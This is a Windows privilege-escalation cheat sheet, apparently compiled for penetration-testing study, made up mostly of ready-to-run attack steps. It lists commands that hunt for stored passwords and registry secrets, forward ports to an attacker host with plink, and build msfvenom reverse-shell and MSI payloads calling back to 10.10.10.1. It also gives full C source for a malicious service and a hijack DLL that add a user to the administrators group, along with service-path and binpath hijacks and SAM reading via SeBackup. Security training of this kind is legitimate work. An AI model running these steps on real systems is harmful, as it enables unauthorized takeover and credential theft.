Windows Privilege Escalation CheatSheet and Notes

- Collection of WinPrivEsc CheatSheet, Made it while I was studying it, Will be keeping it up-to-date whenever I find something new
- By: Vedant Bhalgama (ActiveXSploit)

Automated tools to use for local enumeration as soon as you gain a shell.

```
==> WinPeas: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS

==> Windows Exploit Suggester: https://github.com/bitsadmin/wesng

==> Windows Privilege Escalation CheckList:
https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation

==> Metasploit Local Exploit Suggester

==> SharpUp: https://github.com/GhostPack/SharpUp

==> PowerUp:
https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerUp/PowerUp.ps1
```

Kernel Exploits

```
Kernel exploits are very much common if the system is way too old.
To check for these kind of vulnerabilities, Attacker may either do some system enumeration. And look up for exploits locally.

==> systeminfo | findstr /B /C:"OS Name" /B /C:"OS Version"
==> Use automated tools for finding vulnerabilities
==> Use Metasploit's exploit suggester to look for vulnerabilities and their corresponding exploits
```

Password Hunting and Port Forwarding

```
People usually leave passwords in a txt file locally on the system, Attacker can enumerate for these kind of password text files on the system and try to escalate privileges on the system.
```

```
==> findstr /si password \*.xml \*.ini \*.txt \*.config
==> findstr /spin "password" *.*
==> dir /s \*sysprep.inf \*sysprep.xml \*unattended.xml \*unattend.xml
\*unattend.txt 2>nul

==> req query HKLM /f password /t REG_SZ /s
Port Fowarding can be used to expose any vulnerable service running locally on
the target system, Applications such as plink, ssh and etc. can be used to
port forward the running internal services to the attacker machine

https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html



==> plink.exe -l root -pw <passwordhere> -R 1234:127.0.0.1:1234 <attacker ip>
```

Windows Subsystem for Linux

```
Windows Subsystem for linux, also known as WSL, can also be a way we can
privilege escalate, Whenever you get initial access on a windows machine. Look
for file called wsl.exe or bash.exe. WSL also contains vulnerabilities and can
be a vector for privilege escalation on Windows.

==> Binary `bash.exe` can also be found in `C:\Windows\WinSxS\amd64_microsoft-
windows-lxssbash_[...]\bash.exe`

==> Alternatively you can explore the `WSL` filesystem in the folder
C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindo
ws_79rhkp1fndgsc\LocalState\rootfs\

==> wsl whoami
==> ./ubuntun1604.exe config \--default\-user root
==> wsl whoami
==> wsl python \-c 'BIND\_OR\_REVERSE\_SHELL\_PYTHON\_CODE'
```

Token Impersonation Attacks

```
==> Firstly, What are tokens? Tokens are temporary keys that allow you to
access a system/network without providing any kind of credentials each time
you access a file. Tokens are Cookies of a computer.

==> There are mainly 2 types of tokens:
            - Delegate
            - Impersonate

        ==> Delegate Tokens: These tokens are used for logging into a system
or using Remote Desktop

        ==> Impersonate Tokens: These tokens are non-interactive, they are
used in cases such as attaching a network drive or a domain logon script.

==> For impersonating tokens, You require the privilege for it. To list out
the user privileges, you have to type whoami /priv. The command will list out
all of user privileges which you have.

==> In order to impersonate tokens, You should have this privilege
        - SeImpersonatePrivilege
        - SeAssignPrimaryToken

    ==> Tools which can be used in order to exploit this vulnerability and
privilege escalate are:
            --> Juicy Potato
            --> Metasploit impersonate_tokens
            --> RottenPotato

    THING TO NOTE: Token Impersonation doesn't work on Windows Server 2019 and
up! For that, An exploit known as PrintSpoofer has been launched.

    https://github.com/ohpe/juicy-potato

    Token Impersonation Commands (Metasploit):
        - load_incognito
        - list_tokens -u
        - impersonate_token "NT AUTHORITY\SYSTEM"
```

Privilege Escalation by `getsystem`

```
==> If you are familiar with meterpreter, you must be knowing getsystem,
getsystem is a functionality in meterpreter which is going to try to escalate
privileges for you. Sometimes, It is not 100% successful. But you can give it
a shot!

==> getsystem has 3 techniques to escalate:
        -> 1 : Service - Named Pipe Impersonation (InMemory/Admin)
        -> 2 : Service - Named Pipe Impersonation (Dropper/Admin)
        -> 3 : Service - Token Duplication (InMemory/Admin)
```

RunAs

```
RunAs is a utlity in windows which allows to run commands as a different user
when logging in. This can be a vector of Privilege Escalation too! But ofc, we
need the damn credentials for it!
use a command called "cmdkey /list" to list all the stored passwords on the
machine. As ycou get the stored passwords, Just use this runas command:
    - C:\Windows\System32\runas.exe /user:ACCESS\Administrator /savecred
"C:\Windows\System32\cmd.exe /c TYPE C:\Users\Administrator\Desktop\root.txt >
C:\Users\security\root.txt"
```

AutoRun PrivEsc

```
==> Command mentioned below to open the AutoRuns64.exe file through which we
can check if there are any files which are automatically running.

Command : C:\Users\Desktop\Tools\Autoruns\Autoruns64.exe

==> The next command is going to list if we have Read, Write and Execute perms
of a particular program which was found in autoruns, If we have the suffcient
privileges to do so, We can replace the file and get administrator shell as
soon as a administrator login to the machine.

Command :  C:\\Users\\User\\Desktop\\Tools\\Accesschk\\accesschk64.exe -wvu
"C:\\Program Files\\Autorun Program""
```

Always Install Elevated

```
==> Always Install Elevated is an policy in Windows which allows installation
of .msi files (Windows Installer Files) with elevated privileges for non-admin
users. This policy is enabled in Group Policy Editor. This can lead to a high
security risk, An attacker can install a malicious .msi file or do something
more if the AlwaysInstallElevated is enabled in the Group Policy Editor.

Run this command to check whether the AlwaysInstallElevated policy is enabled
or not:
    - reg query HKCU\Software\Policies\Microsoft\Windows\Installer
    - reg query HKLM\Software\Policies\Microsoft\Windows\Installer

As soon as you run the command and if you see something like this:

        AlwaysInstallElevated REG_DWORD 0x1
```

```
It means that the policydir
is enabled, But if you see a 0 instead of 1 at last, It means that the policy
is disabled.

To abuse with this misconfiguration, We can run the following command in
powershell:

    - Write-UserAddMSI (This only works if PowerUp exists)
    - Add a new user to windows using the net user command (ex. net user user)
    - msfvenom -p windows/exec CMD='net localgroup administrators user /add' -
f msi > file.msi
    - Execute the file.msi using msiexec: msiexec /quiet/ qn /i file.msi
```

Service Escalation - Registry

```
==> In this method, We check if we have full control over the registry
service, If so, We can compile a .c file in kali and then add its value in the
registry service to get admin privileges

Detection:
    ==> To see if we have full control over the registry service:

        --> Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl

    ==> If the output says that user blong to "NT AUTHORITY\INTERACTIVE" has
"FullControl" permission over the registry key.

Exploitation:
    ==> To exploit the vulnerability, We have to create a .c file, Give it any
name on kali such as "updater.c"

    ==> Add the following content in the updater.c file:
```

```
#include <windows.h>
#include <stdio.h>

#define SLEEP_TIME 5000

SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE hStatus;

void ServiceMain(int argc, char** argv);
void ControlHandler(DWORD request);
```

```
//add the payload here
int Run()
{
    system("whoami > c:\\windows\\temp\\service.txt");
    return 0;
}

int main()
{
    SERVICE_TABLE_ENTRY ServiceTable[2];
    ServiceTable[0].lpServiceName = "MyService";
    ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;

    ServiceTable[1].lpServiceName = NULL;
    ServiceTable[1].lpServiceProc = NULL;

    StartServiceCtrlDispatcher(ServiceTable);
    return 0;
}

void ServiceMain(int argc, char** argv)
{
    ServiceStatus.dwServiceType        = SERVICE_WIN32;
    ServiceStatus.dwCurrentState       = SERVICE_START_PENDING;
    ServiceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP |
SERVICE_ACCEPT_SHUTDOWN;
    ServiceStatus.dwWin32ExitCode      = 0;
    ServiceStatus.dwServiceSpecificExitCode = 0;
    ServiceStatus.dwCheckPoint         = 0;
    ServiceStatus.dwWaitHint           = 0;

    hStatus = RegisterServiceCtrlHandler("MyService",
(LPHANDLER_FUNCTION)ControlHandler);
    Run();

    ServiceStatus.dwCurrentState = SERVICE_RUNNING;
    SetServiceStatus (hStatus, &ServiceStatus);

    while (ServiceStatus.dwCurrentState == SERVICE_RUNNING)
    {
        Sleep(SLEEP_TIME);
    }
    return;
}

void ControlHandler(DWORD request)
{
    switch(request)
    {
        case SERVICE_CONTROL_STOP:
            ServiceStatus.dwWin32ExitCode = 0;
            ServiceStatus.dwCurrentState  = SERVICE_STOPPED;
            SetServiceStatus (hStatus, &ServiceStatus);
            return;

        case SERVICE_CONTROL_SHUTDOWN:
            ServiceStatus.dwWin32ExitCode = 0;
            ServiceStatus.dwCurrentState  = SERVICE_STOPPED;
            SetServiceStatus (hStatus, &ServiceStatus);
            return;

        default:
            break;
    }
    SetServiceStatus (hStatus,  &ServiceStatus);
    return;
}
```

```
==> Now, Replace this with the system():

    --> cmd.exe /k net localgroup administrators user /add

==> Save the file and compile it using mingw-gcc
==> Transfer the file to the windows machine, Put it in C:\Temp and run this command:

    ==> reg add HKLM\SYSTEM\CurrentControlSet\Services\regsvc /v ImagePath /t REG_EXPAND_SZ /d c:\temp\x.exe /f

    ==> sc start regsvc
```

Service Escalation - Executable Files

```
If there is an executable file running as an service, We can exploit that to
gain higher privileges on the system.
We can abuse those services!

Verify the particular binary if "Everyone" user group has "FILE_ALL_ACCESS".

    --> C:\\Users\\User\\Desktop\\Tools\\Accesschk\\accesschk64.exe -wvu
"C:\\Program Files\\File Permissions Service"



Now, We can either generate a reverse shell, or maybe just execute any other
system command, I am going to stick with a reverse shell,

    --> msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.10.1
lport=4444 -f exe -o shell.exe

Transfer the file to the target machine, Replace it with the file executable
file used by the service. After replacing it, Run this command:

    --> sc start filepermsvc (it can be any service by which the executable is
associated with)
```

Escalation via StartUp Applications

```
--> StartUp Applications can be a vector of privilege escalation too! StartUp
applications on Windows are nothing but you just give it an application to
run whenever the system is rebooted.

--> In order to escalate, We need to have full control over the StartUp
Directory (C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup)

--> To check whether we have full access over the StartUp Directory, We have
to run the following command:

        --> icacls.exe "C:\ProgramData\Microsoft\Windows\Start
Menu\Programs\Startup"

--> If the command output shows "BUILTIN\Users" group has full access to the
directory "(F)". To exploit the misconfiguration, We can generate a reverse
shell and paste it into the "C:\ProgramData\Microsoft\Windows\Start
Menu\Programs\Startup" directory.

--> Let a high privilege user or Administrator reboot and login, As soon as
```

```
he/she login, You should get a reverse connection!
```

DLL Hijacking Escalation

```
==> DLL stands for "Dynamic Link Library". DLL's contains classes, functions,
`   etc. DLL's run with executable files, They run under a parent process.
    While Windows is starting up applications, It looks up for DLL files for
it, Now, The main flaw here is that if the DLL File path doesn't exist, And
that Path is Writable, We can escalate our privileges! How? Here's the way

Following is the DLL Code, Compile the code:
```

```
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o
output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o
output.dll

#include <windows.h>

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        system("cmd.exe /k net localgroup administrators user /add");
        ExitProcess(0);
    }
    return TRUE;
}
```

```
After the DLL is compiled, Transfer it to the target Windows Machine, And move
it to the path which you found before where the original DLL file is missing.
Make sure you have the permissions to write files in the particular folder
which you found. Restart the DLL Service, And your user should be added in the
administrators group!
```

Service Escalation - Binary Path

```
Command to check whether we have RW access over any binary on the system.

==> accesscheck64.exe -uwcv Everyone *

After you get the results, You can look up for that specific binary for more
information: If the user has 'SERIVCE_CHANGE_CONFIG' permission, Escalation
can be performed.
```

```
==> accesscheck64.exe -uwcv <binaryname>

To escalate privileges, We can now change the Binary Path of the binary, To do
so, We can query the binary:

==> sc qc <binaryname>
==> sc config <binaryname>
==> sc config <binaryname> binpath= "net localgroup administrators user /add"

Now, restart the service, it might pop up an error, but ignore it and check if
you sucessfully escalated.

==> net localgroup administrators
```

Service Escalation - Unquoted Service Path

```
==> If there is a path on the Windows Machine, Which has spaces in it and
there are no quotes, That can be a big issue and can be an escalation vector!

==> Run PowerUp.ps1 or any other automated tool to identify if there is any
Unquoted Service Path.

==> Run the following commmand to see if the Service Path is running with
SYSTEM_PRIVILEGES:

    --> sc qc <servicename>

==> Next, Check if it the current user has "Write" Privileges in the Service
Path Directory:

    --> accesschk.exe -uwd "pathtoservicehere"

==> If we have Write Privileges, We can move forward to move the Executable
file to the path and replace it or else put the pathname.exe. Restart the
service and you should escalate
```

SeBackup Privilege

```
If SeBackupPrivilege is enabled, It can be used to read sensitive files on the
system such as SAM files.
```

```
==> robocopy /b <filename> (Note: robocopy requires both, SeBackup and
SeRestore privileges for working with /b parameter)
```